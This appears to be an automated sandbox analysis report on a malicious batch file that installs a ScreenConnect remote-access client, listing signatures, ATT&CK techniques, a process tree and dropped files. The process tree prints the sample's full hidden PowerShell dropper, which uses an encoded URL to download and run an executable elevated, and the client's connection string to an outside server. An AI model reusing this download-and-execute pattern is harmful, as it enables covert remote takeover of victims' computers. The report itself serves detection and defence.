Analysis
- max time kernel
149s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
23/07/2026, 06:32
General
- Target JCP_ENTREPRISE.bat
- Size 778B
- Sample260723-hal8vahe86
- SHA256 130fb725d53e8f897ff33207b22a1ec5860edec7e1b1aad6e8cdff8d98e2105b
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Signed with revoked ConnectWise certificate 4 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 20 IoCs
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Drops file in System32 directory 2 IoCs
- Drops file in Program Files directory 15 IoCs
- Drops file in Windows directory 23 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Modifies data under HKEY_USERS 13 IoCs
- Modifies registry class 37 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\JCP_ENTREPRISE.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$s='104116116112115058047047115111102116119097114101099100110046110101116047100111119110108111097100115047074067080095069078084082069080082073083069095100097057051051101051097046101120101';$bytes=@();for($i=0;$i -lt $s.Length;$i+=3){$bytes+=[byte]($s.Substring($i,3))};$u=[System.Text.Encoding]::ASCII.GetString($bytes);$f=$env:TEMP+'\JCP_ENTREPRISE.exe';$ProgressPreference='SilentlyContinue';Invoke-WebRequest -Uri $u -OutFile $f -UseBasicParsing;$p=New-Object System.Diagnostics.ProcessStartInfo $f;$p.Verb='runas';$p.UseShellExecute=$true;$proc=[System.Diagnostics.Process]::Start($p);$proc.WaitForExit();Remove-Item $f -Force -ErrorAction SilentlyContinue"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\JCP_ENTREPRISE.exe"C:\Users\Admin\AppData\Local\Temp\JCP_ENTREPRISE.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\msiexec.exe"msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Setup_27aeca64\sc.msi" /quiet /norestart4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 9BBBD7E2D53709809C412F6094B992822⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSIC73E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240764937 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 61D1E09063FD25F60A5F4B9B52E87A43 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files (x86)\ScreenConnect Client (8ab6eb773f00befb)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (8ab6eb773f00befb)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=serv.therapasqualis.com&p=8041&s=5c3ea67f-1bd1-4cb3-ba0e-63874d254dfc&k=BgIAAACkAABSU0ExAAgAAAEAAQAFp6W0TXdmp4zFKYuT4kbZ5Oy4JuxgRNGVSLQGoosFO%2bZ%2bAuAst2nsRgwcI%2b36VkcFXATRgjlREKjnn0MV%2bsWQt1VcmExUl9UcRoPgIx%2bZikHR%2blxby1f4j6YDt0pnoKLgWyHRE5Z6ovcRbLXj3c9RcSDo0VhxXmQBGcMNuoYFcMHPVqZxiLJMjzgydRP3eH3iF2bZWYPDmr%2fl2rEaSw6Hj8xwo193UvY%2fLpD7ZK%2fO7oXyBzLbX6gW3ZcHHAQXsdHHTBazgSkfQ23PdXDx%2fCGwsim3kb%2b7yda6O5HDeWUg0bTzlMlu5l1t2gMRPCVqCm2%2fDGjmG617E5GJmktun3a%2b"1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\ScreenConnect Client (8ab6eb773f00befb)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (8ab6eb773f00befb)\ScreenConnect.WindowsClient.exe" "RunRole" "05fba7cc-3871-4cb9-a7ae-d3962c3fcd15" "User"2⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
-
-
C:\Program Files (x86)\ScreenConnect Client (8ab6eb773f00befb)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (8ab6eb773f00befb)\ScreenConnect.WindowsClient.exe" "RunRole" "9b0ce05b-c681-4574-8c9a-7aca5b026bd3" "System"2⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: AddClipboardFormatListener
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
e59c56c.rbs
Client.Override.en-US.resources
Client.en-US.resources
Client.resources
ScreenConnect.Client.dll
ScreenConnect.ClientService.dll
ScreenConnect.ClientService.exe
ScreenConnect.Windows.dll
ScreenConnect.WindowsClient.exe
ScreenConnect.WindowsClient.exe.config
ScreenConnect.WindowsCredentialProvider.dll
app.config
system.config
JCP_ENTREPRISE.exe
sc.msi
MSIC73E.tmp
Microsoft.Deployment.WindowsInstaller.dll
ScreenConnect.Core.dll
ScreenConnect.InstallerActions.dll
MSIDF2E.tmp
memory/1352-195-0x0000000004AB0000-0x0000000004AE2000-memory.dmp
memory/1352-198-0x0000000004E30000-0x0000000004EEE000-memory.dmp
memory/1352-167-0x00000000020B0000-0x00000000020C6000-memory.dmp
memory/1352-196-0x0000000004D90000-0x0000000004E22000-memory.dmp
memory/1352-176-0x0000000004B50000-0x0000000004CF0000-memory.dmp
memory/1352-177-0x00000000052B0000-0x000000000586A000-memory.dmp
memory/1352-191-0x0000000004A60000-0x0000000004AB0000-memory.dmp
memory/1736-209-0x000000001B520000-0x000000001B5A4000-memory.dmp
memory/1736-211-0x000000001BA80000-0x000000001BC08000-memory.dmp
memory/1736-208-0x00000000026C0000-0x00000000026F2000-memory.dmp
memory/1736-207-0x00000000004A0000-0x0000000000530000-memory.dmp
memory/1736-210-0x000000001B750000-0x000000001B8F0000-memory.dmp
memory/1736-213-0x0000000002700000-0x0000000002716000-memory.dmp
memory/1736-212-0x0000000002650000-0x0000000002666000-memory.dmp
memory/3584-218-0x00007FFC6D520000-0x00007FFC6DEC4000-memory.dmp
memory/3584-7-0x00007FFC6D520000-0x00007FFC6DEC4000-memory.dmp
memory/3584-3-0x0000018370BD0000-0x0000018370BF2000-memory.dmp
memory/3584-4-0x00007FFC6D520000-0x00007FFC6DEC4000-memory.dmp
memory/3584-0-0x00007FFC6D6AF000-0x00007FFC6D6B0000-memory.dmp
memory/3584-216-0x00007FFC6D520000-0x00007FFC6DEC4000-memory.dmp
memory/3584-5-0x00007FFC6D520000-0x00007FFC6DEC4000-memory.dmp
memory/3584-21-0x00007FFC6D520000-0x00007FFC6DEC4000-memory.dmp
memory/3584-20-0x00007FFC6D520000-0x00007FFC6DEC4000-memory.dmp
memory/3584-14-0x00007FFC6D520000-0x00007FFC6DEC4000-memory.dmp
memory/3584-13-0x00007FFC6D520000-0x00007FFC6DEC4000-memory.dmp
memory/3584-12-0x00007FFC6D520000-0x00007FFC6DEC4000-memory.dmp
memory/3584-11-0x00007FFC6D520000-0x00007FFC6DEC4000-memory.dmp
memory/3584-10-0x00007FFC6D520000-0x00007FFC6DEC4000-memory.dmp
memory/3584-9-0x00007FFC6D520000-0x00007FFC6DEC4000-memory.dmp
memory/3584-8-0x00007FFC6D520000-0x00007FFC6DEC4000-memory.dmp
memory/3584-6-0x00007FFC6D520000-0x00007FFC6DEC4000-memory.dmp
memory/4300-215-0x00000000024E0000-0x00000000024F6000-memory.dmp
memory/5480-132-0x0000000005400000-0x0000000005484000-memory.dmp
memory/5480-124-0x0000000003290000-0x00000000032BE000-memory.dmp
memory/5480-128-0x00000000032D0000-0x00000000032DC000-memory.dmp
memory/5716-41-0x000001D182370000-0x000001D1823B0000-memory.dmp
memory/5716-29-0x000001D180490000-0x000001D1804E0000-memory.dmp
memory/5716-37-0x000001D1825F0000-0x000001D1827A0000-memory.dmp
memory/5716-45-0x000001D1823B0000-0x000001D182420000-memory.dmp
memory/5716-49-0x000001D1846D0000-0x000001D184780000-memory.dmp
memory/5716-58-0x000001D1845F0000-0x000001D184620000-memory.dmp
memory/5716-62-0x000001D182420000-0x000001D182440000-memory.dmp
memory/5716-53-0x000001D184A60000-0x000001D184C60000-memory.dmp
memory/5716-70-0x000001D184C60000-0x000001D184CA0000-memory.dmp
memory/5716-93-0x000001D1852A0000-0x000001D1852C0000-memory.dmp
memory/5716-97-0x000001D1852E0000-0x000001D185310000-memory.dmp
memory/5716-116-0x000001D185410000-0x000001D185440000-memory.dmp
memory/5716-101-0x000001D185340000-0x000001D185360000-memory.dmp
memory/5716-79-0x000001D184DA0000-0x000001D184DF0000-memory.dmp
memory/5716-87-0x000001D184D20000-0x000001D184D40000-memory.dmp
memory/5716-83-0x000001D185210000-0x000001D1852A0000-memory.dmp
memory/5716-74-0x000001D184CE0000-0x000001D184D20000-memory.dmp
memory/5716-66-0x000001D1847A0000-0x000001D1847C0000-memory.dmp
memory/5716-33-0x000001D180400000-0x000001D180420000-memory.dmp
memory/5716-25-0x000001D181200000-0x000001D181E90000-memory.dmp